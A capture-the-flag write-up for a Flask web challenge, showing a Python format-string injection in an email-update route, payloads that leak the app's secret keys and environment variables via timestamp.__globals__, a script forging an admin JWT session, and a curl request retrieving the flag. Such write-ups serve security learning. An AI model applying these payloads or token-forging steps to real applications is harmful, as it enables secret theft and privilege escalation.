Statement #
knock knock…
http://chal.competitivecyber.club:1337
Author: sans909
Overview #
For this web challenge, here are the provided source files:
.
├── build-docker.sh
├── challenge
│ ├── app.py
│ ├── blueprints
│ │ ├── api_routes.py
│ │ └── web_routes.py
│ ├── config.py
│ ├── database.py
│ ├── requirements.txt
│ ├── run.py
│ ├── static
│ ├── templates
│ │ ├── 403.html
│ │ ├── 404.html
│ │ ├── admin.html
│ │ ├── base.html
│ │ ├── home.html
│ │ ├── login.html
│ │ ├── personal-logs.html
│ │ ├── register.html
│ │ └── update-email.html
│ └── util.py
├── config
│ └── supervisord.conf
├── Dockerfile
└── entrypoint.sh
5 directories, 21 files
The website has a login and registration page. You can create an account and log in. Once logged in, additional elements are accessible:
- /home
- /update-email
- /update-logs
- /logout
Only two seem interesting: /update-email
and /update-logs
. The first page allows you to modify your email address, and the second contains logs about email address modifications.
To retrieve the flag, it seems necessary to obtain the admin role, as the flag stored in the FLAG
environment variable is returned on the /admin
route. This route is only accessible to users with the admin role.
@web.route('/admin')
@is_admin
def admin_home():
flag = current_app.config['FLAG']
return render_template('admin.html', flag=flag)
Solution #
To solve this challenge, there are two possible solutions. The first, which is expected, is to leak two secret keys to forge a token and use them to create one with the admin role. The second is to directly leak the flag with a slightly longer payload.
Python format string vulnerabilities #
To leak the information we want, we will exploit a bug related to Python format strings. It is possible to inject expressions when an f-string is used with the format
method on the same string.
Looking at the /update-email
route in the api_routes.py
file:
@api.route('/update-email', methods=["POST"])
@is_authenticated
def update_email():
if not request.is_json:
return abort(400, 'Invalid POST format!')
data = request.get_json()
new_email = data.get('email', '')
if not is_valid_email(new_email):
return abort(401, 'Invalid Email')
# Get old email address
token = session.get('auth')
decoded_token = verify_JWT(token)
old_email = decoded_token["email"]
# Logging Data
time = datetime.now()
update_date = time.strftime("%Y-%m-%d %H:%M:%S")
log_text = f"Email updated to {new_email} at {update_date}"
log_text = log_text.format(new_email=new_email, timestamp=timestamp, update_date=update_date)
# Update users
call_procedure("update_user_email", (old_email, new_email))
# Insert Logs
log_text = escape_html(log_text)
call_procedure("insert_log", (new_email, log_text))
# Log out of the page
session['auth'] = None
return redirect(url_for('web.logout'))
We notice that an f-string and a format
method are used on the same string, specifically for log_text
. Three values are passed to the format
method: new_email
, timestamp
, and update_date
. However, only one seems interesting: timestamp
. The others are str objects, which are not interesting, while timestamp
corresponds to a function located in util.py
:
from functools import wraps
from flask import abort, session
import hashlib
import os
import jwt
import datetime
import re
def generate_key(x): return os.urandom(x).hex()
FLASK_SECRET_KEY = generate_key(256)
jwt_key = generate_key(256)
[...]
def timestamp():
return datetime.now()
This script contains the two secret keys needed to forge a token with the admin role. It is possible to leak them since they are global variables and accessible with __globals__
from timestamp
. Here is the payload to pass to leak the secrets: {timestamp.__globals__}@a
.
Note that the value sent must validate this condition placed in is_valid_email()
:
email_regex = r'([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|"([]#-[^-~ \t]|(\\[\t -~]))+")@([#-\'*+/-9=?A-Z^-~-]+(\.[#-\'*+/-9=?A-Z^-~-]+)*|\[[\t -Z^-~]*])'
if re.fullmatch(email_regex, email, re.IGNORECASE):
return True
return False
Result:
Email updated to {'__name__': 'util', [...],
'FLASK_SECRET_KEY': 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d',
'jwt_key': '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7',
[...], 'escape_html': <function escape_html at 0x7f5accdaf4c0>}@a at 2024-09-24 19:15:19
Bonus: It is possible to directly retrieve the flag by using the os module, as it is imported in the
util.py
file, and reading theFLAG
environment variable with this payload:{timestamp.__globals__['os'].environ['FLAG']}
.
Forge an admin token #
Once the two secrets are obtained, creating an admin token is possible. Here is a script to do that:
import datetime
import jwt
from flask import Flask, session, request
# FLASK_SECRET_KEY and jwt_key leak
# {timestamp.__globals__}@a
app = Flask(__name__)
app.config['SESSION_COOKIE_HTTPONLY'] = False
app.config['SECRET_KEY'] = 'c52c9fb7150d32b182ef3c0f1b07c26d37762e72e872a41110639e8688f25b0108e836732f740a5fe00f37a2fcc7398dbe0d8d50b51876549e45497003d852b94fb45c943bf36f05935911935e06c7d761f3419934609f97ed2559c777b8a647dcca1d718382c1dbb242c4cfd09e14c68be93e8ed94ff6f2d07a787ac776cebdd97139e396fc0e6e11397f674e20eaa0bedaa55b861a3712f762add6c3ccfb8aede6427326deaec5519bb0c7b1e186d8f6d869cc7d79143537ee5846dfebd153145b5090914a089db16cd158b27505f9c9c487a2da010a846433fbbc23668e93f290e8f7bf5e8f71891eb427d1a21f961a84ad48713ddb6f235c8f8b979f2e0d'
jwt_key = '6fe660af3a43ef98147a3ea199e9dbe8b2b387ddaec723d6e9ca1124c7804a85fb9ae03696cad277221b9fbd15bb495314d3d4bfba103cd672bde9a3c0c3edb5ba3730aa6a169b593c24d2f507fbcdc3c8ef3648d295a51987b3774993b0852d866d1c15683f3a35bd45019c2c355548cefdd70a640ef850a4bf3371100fb69f74f9143c3968302d8fba9ca64d456ce6cfb07982b5e35be04abdd273e5eceab1a661b3190bdb369c7aa96c10553acfceb23a1d9d9a534e485c2ee32d57dbb7d93fda63c860432dbf25b1b6f78f2e625feac6fd56d2bddc70919514ff39a22ee473731716ae79340dae269753bcd354516c3361e872275ba022cb303140c4eca7'
def create_JWT(email: str, role='regular'):
utc_time = datetime.datetime.now(datetime.timezone.utc)
token_expiration = utc_time + datetime.timedelta(minutes=1000)
data = {'email': email, 'exp': token_expiration, 'role': role}
encoded = jwt.encode(data, jwt_key, algorithm='HS256')
return encoded
@app.route('/')
def get_token():
email = request.args.get('email') if request.args.get('email') else 'admin@competitivecyber.club'
role = request.args.get('role') if request.args.get('role') else 'admin'
session['auth'] = create_JWT(email, role)
return '<script>document.write(document.cookie)</script>'
app.run()
I didn’t bother much; I copy-pasted the create_JWT()
function and the two keys retrieved earlier.
Result:
session=.eJxFzMsKgkAYhuF78QLEU5YtS5RfUDHN0yacUXF0RoTRaozuPV21-DYvH89Hqpa5k85SI7wOuZiExIP7CmpAgMN4O-ArmDBMeXr1LHk7UZQ5E9ojcwaU0SVygyfKL7R2qVLlJS10SsoclkJ7q8WOsNTYET_BIlhB2yZ88SKYWbyM_w6Mimz4TeoAZ1x9hLXZJjw6xqPbNGEr5r4PDL1WEu1k22wypO8PPjc_Hg.ZvMXNw.B3RDEy103cr1ZjNcEvk6aiVTzv4
Exploitation #
All that’s left is to use the generated cookie and retrieve the flag:
$ curl -H "Cookie:
session=.eJxFzEsOgjAUQNG9sAACqCQ4QxLwoVSUX2FGK5FCSwg_BePelZHTm5vzlvJxKKW9VMxuSRz
KLsyFaAEVMeihue2oBTrULY4t15B_EyeJ3ZI1CrsmCR-vDpoIPvC7w5UcZzzdcJZhGFPtpaYrIuLtingh
ndECGlpqFc1PRoXRZ8HfgUaRhSmGU-AXFIe62UxdB2c_MQbPL_GoWOxhiyLxlOq4VJH0-QJDVT_K.ZvMa
FQ.SeRPsegU7phX7Hdjx20Q8SZ1G8s" http://chal.competitivecyber.club:1337/admin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Page</title>
</head>
<body>
<h1>Admin Page</h1>
<p>The flag: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}</p>
</body>
</html>
FLAG: pctf{str_f1rm4t_1s_k1nd8_c00l_7712817812}